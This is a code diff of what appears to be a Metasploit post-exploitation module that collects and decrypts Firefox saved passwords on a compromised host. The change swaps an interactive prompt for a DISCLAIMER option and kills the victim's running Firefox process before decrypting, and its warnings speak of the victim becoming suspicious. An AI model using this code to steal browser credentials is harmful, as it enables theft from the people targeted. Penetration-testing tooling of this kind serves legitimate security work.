1616
1717class Metasploit3 < Msf ::Post
1818
19- include Rex ::Ui ::Interactive
2019 include Msf ::Post ::File
2120 include Msf ::Post ::Common
2221 include Msf ::Auxiliary ::Report
@@ -53,6 +52,12 @@ def initialize(info={})
5352 OptBool . new ( 'DECRYPT' , [ false , 'Decrypts passwords without third party tools' , false ] )
5453 ]
5554 )
55+
56+ register_advanced_options (
57+ [
58+ OptBool . new ( 'DISCLAIMER' , [ false , 'Acknowledge the warning' , false ] )
59+ ]
60+ )
5661 #TODO
5762 # - Collect cookies.
5863 end
@@ -76,6 +81,13 @@ def run
7681 end
7782
7883 if datastore [ 'DECRYPT' ]
84+ if not datastore [ 'DISCLAIMER' ]
85+ print_warning ( "Decrypting the keys causes the possible remote Firefox process to be," )
86+ print_warning ( "killed. If the user is paying attention, this could make him/her suspicious." )
87+ print_warning ( "In order to proceed, set the advanced DISCLAIMER option to true." )
88+ return
89+ end
90+
7991 omnija = nil
8092 org_file = 'omni.ja'
8193 new_file = Rex ::Text ::rand_text_alpha ( 5 + rand ( 3 ) ) + ".ja"
@@ -474,34 +486,22 @@ def trigger_decrypt(org_file, new_file)
474486 if session . type == "meterpreter"
475487 session . sys . process . each_process do |p |
476488 if p [ 'name' ] =~ /firefox\. exe/
477- print_status ( "Found running Firefox process" )
478- continue = warn_user ( )
479- if continue
480- if not session . sys . process . kill ( p [ 'pid' ] )
481- print_error ( "Could not kill Firefox process" )
482- return false
483- end
484- else
485- file_rm ( new_file )
486- return false
489+ print_status ( "Found running Firefox process, attempting to kill." )
490+ if not session . sys . process . kill ( p [ 'pid' ] )
491+ print_error ( "Could not kill Firefox process" )
492+ return false
487493 end
488494 end
489495 end
490496
491497 elsif session . type != "meterpreter"
492498 p = cmd_exec ( "ps" , "cax | grep firefox" )
493499 if p =~ /firefox/
494- print_status ( "Found running Firefox process" )
495- continue = warn_user ( )
496- if continue
497- term = cmd_exec ( "killall" , "firefox && echo true" )
498- if not term =~ /true/
499- print_error ( "Could not kill Firefox process" )
500- return false
501- end
502- else
503- file_rm ( new_file )
504- return false
500+ print_status ( "Found running Firefox process, attempting to kill." )
501+ term = cmd_exec ( "killall" , "firefox && echo true" )
502+ if not term =~ /true/
503+ print_error ( "Could not kill Firefox process" )
504+ return false
505505 end
506506 end
507507 end
@@ -535,13 +535,6 @@ def trigger_decrypt(org_file, new_file)
535535
536536 end
537537
538- def warn_user ( )
539- print_warning ( "In order to proceed, the running Firefox process must be killed." )
540- print_warning ( "Keep in mind that this leaves visual evidence on the victim machine and" )
541- print_warning ( "if the user is paying attention, this could make him/her suspicious." )
542- return prompt_yesno ( "Do you want to continue?" )
543- end
544-
545538 def download_loot ( paths )
546539 loot = ""
547540 paths . each do |path |
0 commit comments